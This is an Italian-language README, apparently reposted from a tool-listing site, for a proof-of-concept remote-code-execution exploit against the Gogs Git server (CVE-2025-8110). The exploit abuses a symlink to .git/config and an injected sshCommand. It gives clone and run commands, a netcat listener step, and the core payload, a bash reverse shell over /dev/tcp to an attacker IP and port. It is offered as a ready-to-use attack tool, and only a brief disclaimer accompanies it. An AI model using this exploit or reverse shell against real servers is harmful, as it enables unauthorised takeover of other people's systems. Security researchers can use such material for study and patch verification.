Exploit RCE di Gogs (CVE-2025-8110)

Un Proof of Concept (PoC) per CVE-2025-8110, una vulnerabilità critica in Gogs che permette l'esecuzione remota di codice (RCE) tramite manipolazione di .git/config usando bypass di link simbolici e iniezione di sshCommand.

📖 Panoramica

Questo exploit sfrutta una falla di Path Traversal nella gestione dei contenuti dell'API di Gogs. Un utente autenticato può:

1. Creare un repository e caricare un link simbolico che punta al file .git/config interno.
2. Usare l'API per sovrascrivere il file di configurazione target tramite il symlink.
3. Iniettare un sshCommand malevolo per eseguire una Reverse Shell quando il server esegue operazioni Git.

🚀 Caratteristiche

• Flusso di lavoro automatico: Gestisce login, creazione del repository, deploy del symlink e poisoning.
• Codifica robusta: Codifica automaticamente le credenziali in URL per gestire caratteri speciali (es. !, @).
• Output ricco: Logging ad alta visibilità utilizzando la libreria Rich.

🛠 Prerequisiti

• Python 3.12+
• Git installato sul sistema locale.
• Credenziali valide sull'istanza Gogs target.

📦 Installazione

1. Clona il repository:
   root@kitploit:~

   git clone https://github.com/Ghxstsec/CVE-2025-8110.git
   cd CVE-2025-8110
   

Installa le dipendenze:

pip3 install -r requirements.txt

💻 Utilizzo

Avvia il listener:

nc -lvnp 6666

Esegui l'exploit:

python3 CVE-2025-8110-RCE.py -u [http://target-gogs.htb:3000](http://target-gogs.htb:3000) -lh <YOUR_IP> -lp 6666 -p 'YourPassword123!'

Argomenti:

Nucleo della vulnerabilità:

sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #

Quando Gogs esegue un comando Git che richiede trasporto di rete (come una sincronizzazione mirror o un controllo di riferimento interno), invoca sshCommand, attivando la reverse shell.

⚠️ Disclaimer legale: Questo strumento è solo per scopi educativi e di test di sicurezza autorizzati. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo script. L'accesso non autorizzato a sistemi informatici è illegale.